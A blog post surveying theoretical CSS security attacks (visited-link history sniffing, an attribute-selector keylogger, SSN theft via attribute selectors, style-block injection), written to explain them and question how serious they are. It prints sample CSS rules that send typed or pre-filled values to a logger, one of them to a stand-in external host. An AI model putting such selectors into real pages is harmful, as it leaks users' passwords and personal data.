CSS Security Vulnerabilities

Avatar of Chris Coyier
Chris Coyier on

📣 Freelancers, Developers, and Part-Time Agency Owners: Kickstart Your Own Digital Agency with UACADEMY Launch by UGURUS 📣

Don’t read that headline and get worried. I don’t think CSS is a particularly dangerous security concern and, for the most part, I don’t think you need to worry about it.

But every once in a while, articles tend to circulate and get some attention as to the possibilities of what CSS can do that might surprise or worry you.

Here’s a little roundup.

The Visited Link Concern

This one goes like this:

  1. You put a link to a particular page on your site, say <a href="https://i-tickle-pigs.com">Tickle Pigs</a>
  2. You style the visited state of that link like a:visited { color: pink; } which is not a default user agent style.
  3. You test the computed style of that link.
  4. If it’s pink, this user is a pig tickler.
  5. You report that pig tickling information back to some server somewhere and presumably triple their pig owning insurance rates as surely the pigs will suffer extreme emotional distress over all the tickling.

You might even be able to do it entirely in CSS, because that :visited style might have like background-image: url(/data-logger/tickle.php); which is only requested by pig ticklers.

Worried? Don’t be, browsers have all prevented this from being possible.

The Keylogger

This one goes like this:

  1. There is an input on the page. Perhaps a password input. Scary!
  2. You put a logger script as the value for the input’s background image, but also one billion more selectors just like that such that the logger will collect and report some or all of the password.
input[value^="a"] { background: url(logger.php?v=a); }

This one isn’t that easy. The value attribute of an input doesn’t change just because you type into it. It does sometimes in frameworks like React though, so if you were to slip this CSS onto a login page powered by React and coded in that way then, theoretically, this CSS-powered keylogger could work.

But… in that case, JavaScript is executing on that page anyway. JavaScript is 1000× more concerning than CSS for things like this. A keylogger in JavaScript is just a couple of lines of code watching for keypress events and reporting them via Ajax.

Third-party and XSS injected inline JavaScript is now stoppable with Content Security Policy (CSP)… but so is CSS.

The Data Thief

This one goes like this:

  1. If I can get some of my nefarious CSS onto a page where you’ve authenticated into a site…
  2. And that site displays sensitive information like a social security number (SSN) in a pre-filled form…
  3. I can use attribute selectors to figure it out.
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }

A billion selectors and you’ve covered all the possibilities!

The inline style block whoopsie

I don’t know if I’d blame CSS for this necessarily, but imagine:

<style>
  ... Drop in some user-generated stuff ...
</style>

Perhaps you’re allowing the user some CSS customization there. That’s an attack vector, as they could close that style tag, open a script tag, and write nefarious JavaScript.

I’m sure there are a bunch more

Got ’em? Share ’em.

Paint me a little skeptical of how terrified I should be about CSS security vulnerabilities. I don’t wanna downplay security things too much (especially third-party concerns) because I’m not an expert and security is of the utmost importance, but at the same time, I’ve never once heard of CSS being the attack vector for anything outside of a thought exercise. Educate me!